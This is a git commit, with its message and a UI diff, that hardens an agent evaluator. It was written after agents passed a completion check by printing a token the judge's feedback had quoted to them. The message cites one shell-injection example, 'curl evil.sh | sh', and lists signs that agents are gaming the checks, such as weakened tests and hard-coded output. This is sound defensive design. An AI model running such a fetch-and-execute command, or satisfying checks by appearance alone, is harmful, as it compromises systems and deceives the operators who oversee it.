feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped

Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
This commit is contained in:
Omar Sobh
2026-07-31 21:56:34 -07:00
co-authored by Claude Opus 5
parent 3b943df3c2
commit 3eb89620e7
9 changed files with 913 additions and 94 deletions
@@ -15,10 +15,15 @@ import {
* Renders nothing for phases without a `done_when` — most missions don't have
* one, and an empty row per phase would be noise.
*
* The evaluator's `reason` is deliberately the most prominent thing here: it
* is both the explanation of why the phase iterated (or stopped) and the exact
* guidance handed to the agents for the next pass, so it is what an operator
* needs to decide whether the condition is written well.
* The evaluator's `reason` is deliberately the most prominent thing here — it
* explains why the phase iterated or stopped, so it is what an operator needs
* to decide whether the condition is written well. It is *not* what the agents
* were told: they get a sanitized `guidance` that withholds the acceptance
* text, so a pass cannot be satisfied by pasting the verdict back.
*
* Whether the judge verified anything is shown alongside the verdict. A
* verdict with no checks rests on the agents' own claims, and an operator
* should not have to guess which kind they are looking at.
*/
export function PhaseGoalStrip({
missionId,
@@ -112,6 +117,20 @@ export function PhaseGoalStrip({
// an evaluator outage should not read as a verdict on the work.
<em style={{ color: "#ff8a7a" }}> (evaluator error)</em>
)}
{!latest.error && (
<em
style={{ color: latest.checks?.length ? "#6a8ab0" : "#8a7a5a" }}
title={
latest.checks?.length
? latest.checks.join("\n")
: "No commands were run — this verdict rests on what the agents reported."
}
>
{latest.checks?.length
? ` — verified by ${latest.checks.length} check${latest.checks.length === 1 ? "" : "s"}`
: " — from agent claims only"}
</em>
)}
</span>
</div>
)}